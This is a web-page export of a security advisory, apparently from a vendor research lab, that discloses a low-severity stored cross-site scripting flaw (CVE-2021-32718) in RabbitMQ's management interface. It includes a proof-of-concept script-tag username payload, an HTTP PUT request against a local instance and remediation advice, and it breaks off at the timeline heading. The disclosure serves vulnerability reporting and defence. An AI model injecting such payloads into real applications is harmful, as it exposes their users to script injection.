{"id":16719,"date":"2021-07-07T12:28:01","date_gmt":"2021-07-07T10:28:01","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2021-0011\/"},"modified":"2022-05-10T09:40:31","modified_gmt":"2022-05-10T07:40:31","slug":"usd-2021-0011","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0011\/","title":{"rendered":"usd-2021-0011"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

usd-2021-0011 | RabbitMQ<\/h1>\n

<\/span>
Advisory ID<\/strong>: usd-2021-0011<\/span>
CVE Number<\/strong>: <\/span>CVE-2021-32718<\/a>
Affected Product<\/strong>: RabbitMQ management plugin<\/span>
Affected Version<\/strong>: RabbitMQ 3.8.12<\/span>
Vulnerability Type<\/strong>: CWE-79: Improper Neutralization of Input During Web Page Generation (\u201eCross-site Scripting\u201c)<\/span>
Security Risk<\/strong>: Low (CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:R\/S:U\/C:L\/I:L\/A:N\/E:P\/RL:O\/RC:C)<\/span>
Vendor URL<\/strong>: https:\/\/www.rabbitmq.com<\/span>
Vendor Status<\/strong>: Fixed<\/span><\/p>\n

 <\/p>\n

Description<\/h3>\n

The vulnerability exists in RabbitMQ\u2019s \u201eAdd a user\u201c functionality and is only exploitable in the following situation: A user account containing the XSS payload in the user name must already exist within the application.<\/span><\/p>\n

<\/span><\/p>\n

Proof of Concept (PoC)<\/h3>\n

Step 1: Create a user account named as follows:<\/span><\/p>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]'\u2039script\u203aalert(1)\u2039\/script\u203a<\/code><\/pre>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

Step 2: Update the user account using the \u201eAdd a user\u201c functionality of the web interface. After submitting the data, the application displays a confirmation message in which the XSS payload will be included and thus executed.<\/p>\n

Note, that this vulnerability does not affect the \u201eEdit User\u201c feature, but the \u201eAdd a user\u201c feature which can also be used to modify existing users. The HTTP request for updating the user looks as follows:<\/p>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]PUT \/api\/users\/'%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP\/1.1
\nHost: 127.0.0.1:15672
\nAccept: *\/*
\nAccept-Language: en-US,en;q=0.5
\nAccept-Encoding: gzip, deflate
\ncontent-type: application\/json
\nauthorization: Basic Z3Vlc3Q6Z3Vlc3Q=
\nContent-Length: 91
\nOrigin: http:\/\/127.0.0.1:15672
\nConnection: close
\nReferer: http:\/\/127.0.0.1:15672\/
\nCookie: m=2258:Z3Vlc3Q6Z3Vlc3Q%253D<\/p>\n

{\"username\":\"'\u2039script\u203aalert(1)\u2039\/script\u203a\",\"password\":\"abcdefg\",\"tags\":\"\"}<\/code><\/pre>\n

[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n

The following screenshots show how the vulnerability can be triggered in the web interface and where the payload is executed:<\/p>\n

[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/xss.png\" title_text=\"xss\" _builder_version=\"4.16\" _module_preset=\"default\" custom_margin=\"27px||43px||false|false\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/xss2.png\" title_text=\"xss2\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

\n
\n

Fix<\/h3>\n

It is recommended to treat all input on the website as potentially dangerous. Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context. The majority of programming languages supports standard procedures for encoding meta characters.<\/p>\n

<\/h3>\n

Timeline<\/h3>\n